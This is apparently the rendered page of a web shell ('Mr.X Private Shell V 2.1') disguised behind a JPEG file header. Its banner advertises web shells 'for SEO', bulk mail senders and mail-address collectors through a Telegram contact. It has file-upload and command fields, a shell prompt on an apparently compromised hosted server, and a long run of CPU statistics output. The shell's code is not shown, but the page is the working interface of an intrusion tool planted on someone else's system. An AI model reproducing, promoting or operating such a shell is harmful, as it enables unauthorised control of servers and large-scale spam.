����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
Linux 5.14.0-687.5.3.el9_8.x86_64 (vmi3339247.contaboserver.net) 	2026-07-11 	_x86_64_	(12 CPU)

00:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:03        all     47.54      1.01     18.66     20.18      0.00      0.00      2.24      0.00      0.00     10.37
00:10:03          0     49.93      1.89     17.47     19.84      0.00      0.00      0.89      0.00      0.00      9.98
00:10:03          1     50.99      0.19     18.82     18.34      0.00      0.00      0.64      0.00      0.00     11.02
00:10:03          2     47.59      0.24     17.48     12.68      0.00      0.00     13.15      0.00      0.00      8.86
00:10:03          3     49.49      0.15     18.36     21.73      0.00      0.00      0.78      0.00      0.00      9.49
00:10:03          4     49.38      0.98     18.69     20.69      0.00      0.00      1.17      0.00      0.00      9.09
00:10:03          5     50.65      1.93     17.92     19.15      0.00      0.00      0.62      0.00      0.00      9.73
00:10:03          6     47.82      0.72     16.54     17.08      0.00      0.00      6.57      0.00      0.00     11.27
00:10:03          7     48.48      0.38     18.74     20.03      0.00      0.00      0.80      0.00      0.00     11.58
00:10:03          8     45.29      1.09     19.47     22.78      0.00      0.00      1.03      0.00      0.00     10.35
00:10:03          9     43.76      1.69     20.32     22.62      0.00      0.00      0.78      0.00      0.00     10.83
00:10:03         10     43.10      1.33     20.06     23.54      0.00      0.00      0.68      0.00      0.00     11.28
00:10:03         11     43.57      1.42     19.96     23.32      0.00      0.00      0.81      0.00      0.00     10.92
00:20:02        all     47.59      0.03     18.54     16.70      0.00      0.00      2.19      0.00      0.00     14.96
00:20:02          0     49.25      0.00     17.88     18.65      0.00      0.00      0.65      0.00      0.00     13.57
00:20:02          1     50.00      0.00     18.00     17.07      0.00      0.00      0.69      0.00      0.00     14.24
00:20:02          2     47.94      0.00     17.08      8.75      0.00      0.00     13.69      0.00      0.00     12.54
00:20:02          3     49.58      0.23     17.85     15.95      0.00      0.00      0.65      0.00      0.00     15.74
00:20:02          4     50.03      0.04     18.27     16.91      0.00      0.00      0.59      0.00      0.00     14.16
00:20:02          5     50.94      0.05     18.10     16.24      0.00      0.00      0.54      0.00      0.00     14.13
00:20:02          6     48.24      0.00     16.48     14.33      0.00      0.00      6.52      0.00      0.00     14.43
00:20:02          7     49.68      0.01     17.55     15.26      0.00      0.00      0.56      0.00      0.00     16.95
00:20:02          8     43.60      0.00     19.88     19.57      0.00      0.00      0.75      0.00      0.00     16.21
00:20:02          9     45.37      0.00     20.66     18.52      0.00      0.00      0.77      0.00      0.00     14.69
00:20:02         10     43.55      0.00     20.09     18.74      0.00      0.00      0.77      0.00      0.00     16.85
00:20:02         11     42.74      0.00     20.52     19.95      0.00      0.00      0.72      0.00      0.00     16.08
00:30:03        all     49.85      0.04     18.31     11.27      0.00      0.00      2.04      0.00      0.00     18.48
00:30:03          0     51.27      0.00     18.05     10.53      0.00      0.00      0.66      0.00      0.00     19.49
00:30:03          1     54.47      0.06     17.49     10.35      0.00      0.00      0.67      0.00      0.00     16.95
00:30:03          2     50.44      0.00     17.38      5.72      0.00      0.00     12.59      0.00      0.00     13.88
00:30:03          3     53.04      0.00     18.46     10.68      0.00      0.00      0.61      0.00      0.00     17.21
00:30:03          4     53.59      0.00     18.30      9.94      0.00      0.00      0.67      0.00      0.00     17.51
00:30:03          5     52.26      0.00     18.11     12.22      0.00      0.00      0.51      0.00      0.00     16.89
00:30:03          6     48.73      0.01     16.86      9.88      0.00      0.00      6.11      0.00      0.00     18.42
00:30:03          7     49.97      0.00     17.71     10.09      0.00      0.00      0.60      0.00      0.00     21.63
00:30:03          8     47.50      0.12     19.54     13.66      0.00      0.00      0.71      0.00      0.00     18.48
00:30:03          9     45.63      0.00     19.39     13.95      0.00      0.00      0.71      0.00      0.00     20.32
00:30:03         10     45.71      0.11     19.08     13.73      0.00      0.00      0.73      0.00      0.00     20.64
00:30:03         11     45.49      0.14     19.23     14.11      0.00      0.00      0.63      0.00      0.00     20.39
00:40:02        all     51.58      0.02     17.52     11.25      0.00      0.00      2.10      0.00      0.00     17.54
00:40:02          0     52.93      0.00     16.64     11.61      0.00      0.00      0.55      0.00      0.00     18.26
00:40:02          1     55.51      0.00     17.74     10.71      0.00      0.00      0.56      0.00      0.00     15.47
00:40:02          2     51.64      0.00     15.10      5.92      0.00      0.00     14.38      0.00      0.00     12.96
00:40:02          3     54.98      0.00     17.13     11.54      0.00      0.00      0.60      0.00      0.00     15.75
00:40:02          4     53.58      0.16     16.95     10.93      0.00      0.00      0.65      0.00      0.00     17.74
00:40:02          5     56.88      0.00     17.16      9.25      0.00      0.00      0.54      0.00      0.00     16.16
00:40:02          6     51.20      0.00     15.22      9.76      0.00      0.00      5.89      0.00      0.00     17.93
00:40:02          7     54.05      0.00     17.52     11.00      0.00      0.00      0.55      0.00      0.00     16.88
00:40:02          8     48.19      0.02     19.98     13.32      0.00      0.00      0.73      0.00      0.00     17.75
00:40:02          9     47.76      0.00     19.15     12.74      0.00      0.00      0.62      0.00      0.00     19.73
00:40:02         10     46.33      0.00     18.36     13.82      0.00      0.00      0.63      0.00      0.00     20.87
00:40:02         11     45.20      0.00     18.97     14.26      0.00      0.00      0.67      0.00      0.00     20.89
00:50:02        all     28.01      0.02     11.54     17.52      0.00      0.00      1.54      0.00      0.00     41.37
00:50:02          0     29.87      0.01     11.88     18.22      0.00      0.00      0.66      0.00      0.00     39.36
00:50:02          1     31.38      0.15     12.19     17.96      0.00      0.00      0.45      0.00      0.00     37.87
00:50:02          2     25.54      0.00     10.96     12.49      0.00      0.00     10.28      0.00      0.00     40.72
00:50:02          3     30.14      0.00     12.05     16.75      0.00      0.00      0.45      0.00      0.00     40.61
00:50:02          4     29.68      0.00     11.90     17.99      0.00      0.00      0.79      0.00      0.00     39.64
00:50:02          5     31.18      0.00     11.93     16.09      0.00      0.00      0.42      0.00      0.00     40.38
00:50:02          6     27.73      0.03     10.24     15.47      0.00      0.00      4.50      0.00      0.00     42.02
00:50:02          7     29.35      0.00     11.69     16.80      0.00      0.00      0.46      0.00      0.00     41.70
00:50:02          8     25.84      0.00     12.36     19.40      0.00      0.00      0.58      0.00      0.00     41.82
00:50:02          9     23.96      0.00     11.21     19.28      0.00      0.00      0.61      0.00      0.00     44.94
00:50:02         10     25.88      0.00     11.19     20.42      0.00      0.00      0.45      0.00      0.00     42.05
00:50:02         11     25.42      0.06     10.80     18.27      0.00      0.00      0.47      0.00      0.00     44.98
01:00:02        all     46.71      0.11     15.28     13.74      0.00      0.00      1.85      0.00      0.00     22.31
01:00:02          0     50.47      0.11     15.19     12.47      0.00      0.00      0.54      0.00      0.00     21.22
01:00:02          1     50.64      0.06     14.80     13.40      0.00      0.00      0.50      0.00      0.00     20.60
01:00:02          2     44.35      0.21     13.74      8.75      0.00      0.00     12.24      0.00      0.00     20.71
01:00:02          3     51.66      0.07     14.35     11.99      0.00      0.00      0.52      0.00      0.00     21.43
01:00:02          4     50.69      0.24     16.18     12.75      0.00      0.00      0.69      0.00      0.00     19.45
01:00:02          5     48.67      0.04     15.49     13.71      0.00      0.00      0.58      0.00      0.00     21.51
01:00:02          6     46.88      0.06     13.79     11.92      0.00      0.00      5.87      0.00      0.00     21.47
01:00:02          7     47.66      0.02     14.95     13.66      0.00      0.00      0.51      0.00      0.00     23.20
01:00:02          8     43.15      0.09     16.30     16.43      0.00      0.00      0.62      0.00      0.00     23.42
01:00:02          9     40.53      0.28     15.87     17.28      0.00      0.00      0.54      0.00      0.00     25.50
01:00:02         10     44.16      0.15     16.37     16.07      0.00      0.00      0.54      0.00      0.00     22.72
01:00:02         11     41.11      0.04     16.08     15.84      0.00      0.00      0.56      0.00      0.00     26.38
01:10:03        all     52.02      0.02     17.58     15.24      0.00      0.00      2.16      0.00      0.00     12.98
01:10:03          0     53.24      0.01     17.39     15.97      0.00      0.00      0.86      0.00      0.00     12.53
01:10:03          1     54.67      0.11     17.61     14.81      0.00      0.00      0.69      0.00      0.00     12.10
01:10:03          2     49.89      0.00     16.65      7.81      0.00      0.00     13.68      0.00      0.00     11.97
01:10:03          3     54.45      0.05     17.54     15.30      0.00      0.00      0.63      0.00      0.00     12.04
01:10:03          4     55.55      0.04     17.20     13.78      0.00      0.00      0.72      0.00      0.00     12.70
01:10:03          5     55.66      0.00     17.54     14.21      0.00      0.00      0.64      0.00      0.00     11.96
01:10:03          6     51.33      0.04     15.57     13.58      0.00      0.00      6.36      0.00      0.00     13.12
01:10:03          7     55.47      0.02     17.37     13.42      0.00      0.00      0.64      0.00      0.00     13.07
01:10:03          8     48.60      0.00     18.92     18.45      0.00      0.00      0.74      0.00      0.00     13.30
01:10:03          9     47.65      0.00     18.97     17.94      0.00      0.00      0.77      0.00      0.00     14.67
01:10:03         10     49.28      0.00     18.01     18.75      0.00      0.00      0.73      0.00      0.00     13.24
01:10:03         11     48.05      0.00     18.08     18.12      0.00      0.00      0.70      0.00      0.00     15.06
01:20:02        all     54.16      0.05     17.16     10.21      0.00      0.00      2.09      0.00      0.00     16.33
01:20:02          0     55.60      0.00     17.29      8.94      0.00      0.00      0.59      0.00      0.00     17.57
01:20:02          1     56.55      0.10     16.67     10.45      0.00      0.00      0.74      0.00      0.00     15.48
01:20:02          2     51.48      0.07     16.55      5.53      0.00      0.00     13.70      0.00      0.00     12.67
01:20:02          3     60.09      0.02     16.10      8.78      0.00      0.00      0.60      0.00      0.00     14.42
01:20:02          4     58.59      0.00     16.66      9.60      0.00      0.00      0.81      0.00      0.00     14.34
01:20:02          5     60.25      0.00     16.01      9.15      0.00      0.00      0.72      0.00      0.00     13.88
01:20:02          6     54.80      0.01     15.07      7.98      0.00      0.00      5.65      0.00      0.00     16.49
01:20:02          7     56.47      0.00     16.95      9.55      0.00      0.00      0.64      0.00      0.00     16.38
01:20:02          8     49.75      0.06     19.39     13.25      0.00      0.00      0.61      0.00      0.00     16.94
01:20:02          9     50.28      0.27     18.32     11.58      0.00      0.00      0.67      0.00      0.00     18.88
01:20:02         10     47.67      0.02     17.93     15.01      0.00      0.00      0.73      0.00      0.00     18.64
01:20:02         11     47.14      0.04     19.17     12.57      0.00      0.00      0.67      0.00      0.00     20.41
01:30:01        all     50.32      0.02     17.09     12.96      0.00      0.00      1.99      0.00      0.00     17.62
01:30:01          0     52.49      0.00     16.49     13.60      0.00      0.00      0.66      0.00      0.00     16.76
01:30:01          1     52.51      0.00     16.73     13.00      0.00      0.00      0.50      0.00      0.00     17.26
01:30:01          2     51.09      0.00     16.64      5.96      0.00      0.00     12.45      0.00      0.00     13.87
01:30:01          3     55.32      0.00     17.07     10.89      0.00      0.00      0.48      0.00      0.00     16.24
01:30:01          4     50.85      0.00     17.19     13.13      0.00      0.00      0.83      0.00      0.00     17.99
01:30:01          5     55.61      0.00     16.46     12.09      0.00      0.00      0.60      0.00      0.00     15.25
01:30:01          6     49.82      0.00     15.09     13.44      0.00      0.00      5.58      0.00      0.00     16.07
01:30:01          7     52.77      0.00     17.15     12.06      0.00      0.00      0.63      0.00      0.00     17.39
01:30:01          8     46.11      0.18     18.05     15.57      0.00      0.00      0.67      0.00      0.00     19.42
01:30:01          9     44.89      0.02     18.41     15.10      0.00      0.00      0.71      0.00      0.00     20.86
01:30:01         10     44.55      0.00     18.31     14.45      0.00      0.00      0.61      0.00      0.00     22.08
01:30:01         11     46.82      0.02     17.51     16.45      0.00      0.00      0.69      0.00      0.00     18.51
01:40:01        all     43.51      0.02     15.35     13.47      0.00      0.00      1.72      0.00      0.00     25.93
01:40:01          0     46.62      0.00     14.79     12.95      0.00      0.00      0.43      0.00      0.00     25.20
01:40:01          1     47.93      0.00     14.92     12.97      0.00      0.00      0.47      0.00      0.00     23.72
01:40:01          2     43.49      0.00     14.30      8.25      0.00      0.00     11.05      0.00      0.00     22.91
01:40:01          3     47.63      0.17     14.86     12.22      0.00      0.00      0.42      0.00      0.00     24.70
01:40:01          4     46.70      0.00     15.46     11.41      0.00      0.00      0.57      0.00      0.00     25.86
01:40:01          5     46.15      0.00     15.22     12.87      0.00      0.00      0.47      0.00      0.00     25.30
01:40:01          6     42.07      0.08     13.17     12.44      0.00      0.00      6.06      0.00      0.00     26.18
01:40:01          7     43.07      0.00     16.50     13.05      0.00      0.00      0.44      0.00      0.00     26.94
01:40:01          8     39.51      0.00     15.81     15.16      0.00      0.00      0.50      0.00      0.00     29.01
01:40:01          9     40.71      0.00     16.04     15.40      0.00      0.00      0.53      0.00      0.00     27.33
01:40:01         10     39.19      0.00     16.59     17.37      0.00      0.00      0.65      0.00      0.00     26.21
01:40:01         11     39.01      0.00     16.32     16.64      0.00      0.00      0.54      0.00      0.00     27.49
01:50:00        all     33.10      0.02     12.27     21.99      0.00      0.00      1.69      0.00      0.00     30.93
01:50:00          0     37.55      0.03     12.46     21.37      0.00      0.00      0.57      0.00      0.00     28.03
01:50:00          1     35.39      0.00     12.88     20.98      0.00      0.00      0.45      0.00      0.00     30.31
01:50:00          2     29.63      0.00     11.04     15.24      0.00      0.00     10.79      0.00      0.00     33.30
01:50:00          3     35.69      0.00     12.60     21.61      0.00      0.00      0.43      0.00      0.00     29.67
01:50:00          4     36.36      0.02     12.62     22.81      0.00      0.00      0.45      0.00      0.00     27.75
01:50:00          5     37.62      0.00     12.54     19.85      0.00      0.00      0.80      0.00      0.00     29.19
01:50:00          6     31.56      0.06     11.17     20.37      0.00      0.00      5.59      0.00      0.00     31.24
01:50:00          7     33.06      0.08     12.31     21.77      0.00      0.00      0.43      0.00      0.00     32.33
01:50:00          8     30.31      0.00     12.05     25.32      0.00      0.00      0.51      0.00      0.00     31.82
01:50:00          9     30.36      0.01     12.31     24.81      0.00      0.00      0.54      0.00      0.00     31.97
01:50:00         10     28.91      0.00     12.80     24.78      0.00      0.00      0.54      0.00      0.00     32.97
01:50:00         11     30.30      0.00     12.30     23.99      0.00      0.00      0.49      0.00      0.00     32.92

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:01        all     37.23      0.02     13.63     18.42      0.00      0.00      1.76      0.00      0.00     28.93
02:00:01          0     40.14      0.00     13.93     17.65      0.00      0.00      0.44      0.00      0.00     27.84
02:00:01          1     42.13      0.00     13.84     18.77      0.00      0.00      0.43      0.00      0.00     24.82
02:00:01          2     34.65      0.01     12.13     11.11      0.00      0.00     11.16      0.00      0.00     30.94
02:00:01          3     38.21      0.04     13.83     17.10      0.00      0.00      0.48      0.00      0.00     30.33
02:00:01          4     41.28      0.02     14.03     17.85      0.00      0.00      0.78      0.00      0.00     26.04
02:00:01          5     40.72      0.00     13.48     17.85      0.00      0.00      0.69      0.00      0.00     27.26
02:00:01          6     37.32      0.03     12.20     14.91      0.00      0.00      5.84      0.00      0.00     29.69
02:00:01          7     37.55      0.00     13.54     17.21      0.00      0.00      0.57      0.00      0.00     31.13
02:00:01          8     34.45      0.00     14.31     22.71      0.00      0.00      0.53      0.00      0.00     28.00
02:00:01          9     33.99      0.07     13.76     21.49      0.00      0.00      0.53      0.00      0.00     30.15
02:00:01         10     32.56      0.00     13.98     22.27      0.00      0.00      0.46      0.00      0.00     30.72
02:00:01         11     33.54      0.08     14.26     20.78      0.00      0.00      0.52      0.00      0.00     30.82
02:10:00        all     42.02      0.04     16.12     21.64      0.00      0.00      1.87      0.00      0.00     18.31
02:10:00          0     44.02      0.08     16.23     21.72      0.00      0.00      0.64      0.00      0.00     17.31
02:10:00          1     44.07      0.02     15.91     21.41      0.00      0.00      0.47      0.00      0.00     18.12
02:10:00          2     40.76      0.05     15.28     12.87      0.00      0.00     11.79      0.00      0.00     19.25
02:10:00          3     45.78      0.05     15.76     21.05      0.00      0.00      0.53      0.00      0.00     16.85
02:10:00          4     44.13      0.04     16.47     22.06      0.00      0.00      0.54      0.00      0.00     16.76
02:10:00          5     46.82      0.14     16.02     20.33      0.00      0.00      0.55      0.00      0.00     16.14
02:10:00          6     42.49      0.02     14.64     19.36      0.00      0.00      6.19      0.00      0.00     17.30
02:10:00          7     41.71      0.08     15.95     21.55      0.00      0.00      0.46      0.00      0.00     20.26
02:10:00          8     40.82      0.00     17.38     23.34      0.00      0.00      0.55      0.00      0.00     17.90
02:10:00          9     38.57      0.03     16.43     24.60      0.00      0.00      0.60      0.00      0.00     19.78
02:10:00         10     38.00      0.00     16.99     25.42      0.00      0.00      0.57      0.00      0.00     19.01
02:10:00         11     36.75      0.01     16.26     24.99      0.00      0.00      0.67      0.00      0.00     21.33
02:20:00        all     52.21      0.01     17.76     11.52      0.00      0.00      2.01      0.00      0.00     16.48
02:20:00          0     54.45      0.00     17.49     11.48      0.00      0.00      0.56      0.00      0.00     16.02
02:20:00          1     55.67      0.00     17.15     10.90      0.00      0.00      0.62      0.00      0.00     15.66
02:20:00          2     50.56      0.00     16.87      5.78      0.00      0.00     13.45      0.00      0.00     13.35
02:20:00          3     55.75      0.00     18.22     10.64      0.00      0.00      0.51      0.00      0.00     14.88
02:20:00          4     54.68      0.00     17.36     12.11      0.00      0.00      0.45      0.00      0.00     15.40
02:20:00          5     55.63      0.00     17.18     10.28      0.00      0.00      0.64      0.00      0.00     16.27
02:20:00          6     50.60      0.00     15.89      9.73      0.00      0.00      6.43      0.00      0.00     17.35
02:20:00          7     55.23      0.17     17.56     12.11      0.00      0.00      0.49      0.00      0.00     14.44
02:20:00          8     49.62      0.00     19.03     13.61      0.00      0.00      0.75      0.00      0.00     17.00
02:20:00          9     47.48      0.00     19.00     14.61      0.00      0.00      0.52      0.00      0.00     18.38
02:20:00         10     47.31      0.00     18.93     14.10      0.00      0.00      0.55      0.00      0.00     19.10
02:20:00         11     48.96      0.00     18.36     12.46      0.00      0.00      0.49      0.00      0.00     19.72
02:30:00        all     51.17      0.02     17.90     14.30      0.00      0.00      1.99      0.00      0.00     14.62
02:30:00          0     53.64      0.00     17.76     12.88      0.00      0.00      0.62      0.00      0.00     15.10
02:30:00          1     55.23      0.17     17.69     13.71      0.00      0.00      0.72      0.00      0.00     12.49
02:30:00          2     50.68      0.00     16.61      7.82      0.00      0.00     12.82      0.00      0.00     12.07
02:30:00          3     56.18      0.00     17.67     12.60      0.00      0.00      0.62      0.00      0.00     12.94
02:30:00          4     54.30      0.00     17.63     14.24      0.00      0.00      0.78      0.00      0.00     13.06
02:30:00          5     55.08      0.02     17.33     13.48      0.00      0.00      0.60      0.00      0.00     13.48
02:30:00          6     51.10      0.00     15.42     13.13      0.00      0.00      5.75      0.00      0.00     14.60
02:30:00          7     52.61      0.00     17.62     14.22      0.00      0.00      0.55      0.00      0.00     15.00
02:30:00          8     47.21      0.02     19.47     16.22      0.00      0.00      0.63      0.00      0.00     16.45
02:30:00          9     45.81      0.00     18.88     17.76      0.00      0.00      0.64      0.00      0.00     16.92
02:30:00         10     45.47      0.00     19.30     18.06      0.00      0.00      0.66      0.00      0.00     16.52
02:30:00         11     45.58      0.00     19.45     17.42      0.00      0.00      0.54      0.00      0.00     17.02
02:40:01        all     48.61      0.04     18.12     15.98      0.00      0.00      1.84      0.00      0.00     15.41
02:40:01          0     49.85      0.00     17.92     15.94      0.00      0.00      0.46      0.00      0.00     15.83
02:40:01          1     49.90      0.00     17.50     17.40      0.00      0.00      0.59      0.00      0.00     14.60
02:40:01          2     49.31      0.00     17.28      8.79      0.00      0.00     11.78      0.00      0.00     12.83
02:40:01          3     51.90      0.00     18.15     15.46      0.00      0.00      0.56      0.00      0.00     13.94
02:40:01          4     50.86      0.00     17.56     15.78      0.00      0.00      0.48      0.00      0.00     15.31
02:40:01          5     52.55      0.00     17.62     15.47      0.00      0.00      0.63      0.00      0.00     13.73
02:40:01          6     45.85      0.00     15.73     15.24      0.00      0.00      5.71      0.00      0.00     17.48
02:40:01          7     49.95      0.24     17.70     16.77      0.00      0.00      0.43      0.00      0.00     14.91
02:40:01          8     46.80      0.18     19.44     16.98      0.00      0.00      0.56      0.00      0.00     16.04
02:40:01          9     45.57      0.00     20.06     17.94      0.00      0.00      0.61      0.00      0.00     15.83
02:40:01         10     44.88      0.02     19.34     17.99      0.00      0.00      0.54      0.00      0.00     17.24
02:40:01         11     45.88      0.00     19.00     17.54      0.00      0.00      0.52      0.00      0.00     17.05
02:50:00        all     27.97      0.02     12.59     25.87      0.00      0.00      1.60      0.00      0.00     31.95
02:50:00          0     29.44      0.00     12.95     26.23      0.00      0.00      0.58      0.00      0.00     30.80
02:50:00          1     31.14      0.00     12.78     25.54      0.00      0.00      0.64      0.00      0.00     29.90
02:50:00          2     25.65      0.00     11.27     17.63      0.00      0.00     10.64      0.00      0.00     34.81
02:50:00          3     31.49      0.00     13.70     24.66      0.00      0.00      0.50      0.00      0.00     29.65
02:50:00          4     30.76      0.02     13.13     25.11      0.00      0.00      0.59      0.00      0.00     30.40
02:50:00          5     30.63      0.00     12.96     26.11      0.00      0.00      0.51      0.00      0.00     29.80
02:50:00          6     26.05      0.00     11.65     22.89      0.00      0.00      4.77      0.00      0.00     34.64
02:50:00          7     27.73      0.00     12.49     26.15      0.00      0.00      0.51      0.00      0.00     33.12
02:50:00          8     28.02      0.00     12.65     27.75      0.00      0.00      0.49      0.00      0.00     31.09
02:50:00          9     24.20      0.18     12.41     28.00      0.00      0.00      0.63      0.00      0.00     34.58
02:50:00         10     25.24      0.00     12.19     29.55      0.00      0.00      0.46      0.00      0.00     32.55
02:50:00         11     25.30      0.00     12.66     29.04      0.00      0.00      0.46      0.00      0.00     32.53
03:00:02        all     45.04      0.03     16.28     18.23      0.00      0.00      2.18      0.00      0.00     18.23
03:00:02          0     46.01      0.00     15.57     19.02      0.00      0.00      0.74      0.00      0.00     18.68
03:00:02          1     49.26      0.01     16.42     17.57      0.00      0.00      1.00      0.00      0.00     15.72
03:00:02          2     45.16      0.00     15.67     10.40      0.00      0.00     11.88      0.00      0.00     16.89
03:00:02          3     47.02      0.00     16.59     17.49      0.00      0.00      0.89      0.00      0.00     18.01
03:00:02          4     49.36      0.00     15.89     17.47      0.00      0.00      0.80      0.00      0.00     16.47
03:00:02          5     48.40      0.21     15.84     18.28      0.00      0.00      0.79      0.00      0.00     16.48
03:00:02          6     44.47      0.00     14.96     16.29      0.00      0.00      6.37      0.00      0.00     17.92
03:00:02          7     46.13      0.00     16.29     17.60      0.00      0.00      0.88      0.00      0.00     19.09
03:00:02          8     41.40      0.17     17.32     21.80      0.00      0.00      1.08      0.00      0.00     18.23
03:00:02          9     40.90      0.00     16.56     22.47      0.00      0.00      0.89      0.00      0.00     19.17
03:00:02         10     41.97      0.00     17.02     19.83      0.00      0.00      0.81      0.00      0.00     20.37
03:00:02         11     40.59      0.00     17.14     19.90      0.00      0.00      0.81      0.00      0.00     21.55
03:10:00        all     48.08      0.03     19.31     18.96      0.00      0.00      2.41      0.00      0.00     11.21
03:10:00          0     50.86      0.04     19.06     18.26      0.00      0.00      0.85      0.00      0.00     10.93
03:10:00          1     49.28      0.05     18.53     20.82      0.00      0.00      0.73      0.00      0.00     10.60
03:10:00          2     46.21      0.07     17.35     10.57      0.00      0.00     15.71      0.00      0.00     10.09
03:10:00          3     50.12      0.04     18.94     20.22      0.00      0.00      0.63      0.00      0.00     10.05
03:10:00          4     51.60      0.05     19.25     17.57      0.00      0.00      0.79      0.00      0.00     10.74
03:10:00          5     52.57      0.00     18.90     17.79      0.00      0.00      0.67      0.00      0.00     10.06
03:10:00          6     46.35      0.01     16.49     17.35      0.00      0.00      7.32      0.00      0.00     12.47
03:10:00          7     49.69      0.06     19.29     18.94      0.00      0.00      0.72      0.00      0.00     11.30
03:10:00          8     45.78      0.02     20.45     21.46      0.00      0.00      0.95      0.00      0.00     11.34
03:10:00          9     43.94      0.00     21.19     21.42      0.00      0.00      0.80      0.00      0.00     12.65
03:10:00         10     45.34      0.00     20.77     20.90      0.00      0.00      0.70      0.00      0.00     12.29
03:10:00         11     44.71      0.00     21.23     21.27      0.00      0.00      0.72      0.00      0.00     12.07
03:20:01        all     48.70      0.02     18.92     15.64      0.00      0.00      2.29      0.00      0.00     14.43
03:20:01          0     49.52      0.00     18.18     16.86      0.00      0.00      0.74      0.00      0.00     14.70
03:20:01          1     51.49      0.00     18.02     15.66      0.00      0.00      0.68      0.00      0.00     14.15
03:20:01          2     48.25      0.00     17.16      7.94      0.00      0.00     14.19      0.00      0.00     12.46
03:20:01          3     53.06      0.04     18.99     14.90      0.00      0.00      0.57      0.00      0.00     12.44
03:20:01          4     52.35      0.02     18.48     14.91      0.00      0.00      0.88      0.00      0.00     13.37
03:20:01          5     50.57      0.00     18.71     16.60      0.00      0.00      0.67      0.00      0.00     13.45
03:20:01          6     46.72      0.00     16.70     13.54      0.00      0.00      6.75      0.00      0.00     16.28
03:20:01          7     51.70      0.00     18.65     14.01      0.00      0.00      0.95      0.00      0.00     14.70
03:20:01          8     43.95      0.00     19.62     20.02      0.00      0.00      0.73      0.00      0.00     15.69
03:20:01          9     45.90      0.10     20.98     17.25      0.00      0.00      0.69      0.00      0.00     15.08
03:20:01         10     46.10      0.10     20.80     17.45      0.00      0.00      0.64      0.00      0.00     14.90
03:20:01         11     44.54      0.02     20.53     18.19      0.00      0.00      0.77      0.00      0.00     15.95
03:30:01        all     52.09      0.02     17.51     14.03      0.00      0.00      2.02      0.00      0.00     14.33
03:30:01          0     54.87      0.00     17.56     14.17      0.00      0.00      0.51      0.00      0.00     12.88
03:30:01          1     55.10      0.01     17.73     12.38      0.00      0.00      0.60      0.00      0.00     14.18
03:30:01          2     52.59      0.00     16.12      7.64      0.00      0.00     13.03      0.00      0.00     10.61
03:30:01          3     57.21      0.00     16.82     12.52      0.00      0.00      0.56      0.00      0.00     12.89
03:30:01          4     56.51      0.00     16.79     13.59      0.00      0.00      0.76      0.00      0.00     12.36
03:30:01          5     54.79      0.00     16.75     13.41      0.00      0.00      0.74      0.00      0.00     14.30
03:30:01          6     49.69      0.00     15.23     13.18      0.00      0.00      5.69      0.00      0.00     16.22
03:30:01          7     54.89      0.00     17.41     13.08      0.00      0.00      0.53      0.00      0.00     14.08
03:30:01          8     45.73      0.15     19.91     17.55      0.00      0.00      0.69      0.00      0.00     15.97
03:30:01          9     48.67      0.00     18.29     15.88      0.00      0.00      0.60      0.00      0.00     16.57
03:30:01         10     47.12      0.04     18.98     17.60      0.00      0.00      0.54      0.00      0.00     15.72
03:30:01         11     47.25      0.00     18.58     17.27      0.00      0.00      0.59      0.00      0.00     16.31
